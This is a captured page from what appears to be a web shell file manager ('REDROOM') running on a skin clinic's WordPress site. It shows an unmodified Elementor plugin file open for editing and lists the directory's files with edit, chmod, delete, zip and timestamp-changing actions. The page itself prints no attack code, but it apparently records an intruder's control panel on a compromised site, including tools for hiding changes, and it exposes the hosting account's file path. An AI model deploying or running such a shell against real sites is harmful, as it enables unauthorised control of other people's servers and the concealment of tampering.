REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 2.13 KB
Close
/home/nshryvcy/radiantskinclinics.org/wp-content/plugins/elementor/modules/system-info/reporters/base-plugin.php
Text
Base64
<?php namespace Elementor\Modules\System_Info\Reporters; use Elementor\Utils; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } abstract class Base_Plugin extends Base { public static $required_plugins_properties = [ 'Name', 'Version', 'URL', 'Author', ]; public function print_html() { foreach ( $this->get_report( 'html' ) as $field ) { foreach ( $field['value'] as $plugin_info ) : ?> <tr> <td><?php if ( $plugin_info['PluginURI'] ) : $plugin_name = sprintf( '<a href="%s">%s</a>', $plugin_info['PluginURI'], $plugin_info['Name'] ); else : $plugin_name = $plugin_info['Name']; endif; if ( $plugin_info['Version'] ) : $plugin_name .= ' - ' . $plugin_info['Version']; endif; Utils::print_unescaped_internal_string( $plugin_name ); ?></td> <td><?php if ( $plugin_info['Author'] ) : if ( $plugin_info['AuthorURI'] ) : $author = sprintf( '<a href="%s">%s</a>', $plugin_info['AuthorURI'], $plugin_info['Author'] ); else : $author = $plugin_info['Author']; endif; Utils::print_unescaped_internal_string( "By $author" ); endif; ?></td> <td></td> </tr> <?php endforeach; } } public function print_raw( $tabs_count ) { echo PHP_EOL; $required_plugins_properties = array_flip( self::$required_plugins_properties ); unset( $required_plugins_properties['Name'] ); foreach ( $this->get_report( 'raw' ) as $field_name => $field ) : $sub_indent = str_repeat( "\t", $tabs_count ); echo "== {$field['label']} ==" . PHP_EOL; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped foreach ( $field['value'] as $plugin_info ) : $plugin_properties = array_intersect_key( $plugin_info, $required_plugins_properties ); echo esc_html( $sub_indent . $plugin_info['Name'] ); foreach ( $plugin_properties as $property_name => $property ) : echo PHP_EOL . "{$sub_indent}\t{$property_name}: {$property}"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped endforeach; echo PHP_EOL . PHP_EOL; endforeach; endforeach; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 9
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
base-plugin.php
2.13 KB
lrw-r--r--
2023-04-23 15:22:46
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
base.php
5.32 KB
lrw-r--r--
2025-03-17 17:28:54
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
mu-plugins.php
1.92 KB
lrw-r--r--
2025-03-17 17:28:54
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
network-plugins.php
2.18 KB
lrw-r--r--
2025-10-21 16:51:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
plugins.php
1.97 KB
lrw-r--r--
2025-03-17 17:28:54
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
server.php
11.50 KB
lrw-r--r--
2025-03-17 17:28:54
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
theme.php
5.02 KB
lrw-r--r--
2023-10-18 18:32:32
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
user.php
1.99 KB
lrw-r--r--
2024-02-29 16:51:58
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wordpress.php
5.35 KB
lrw-r--r--
2024-02-29 16:51:58
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).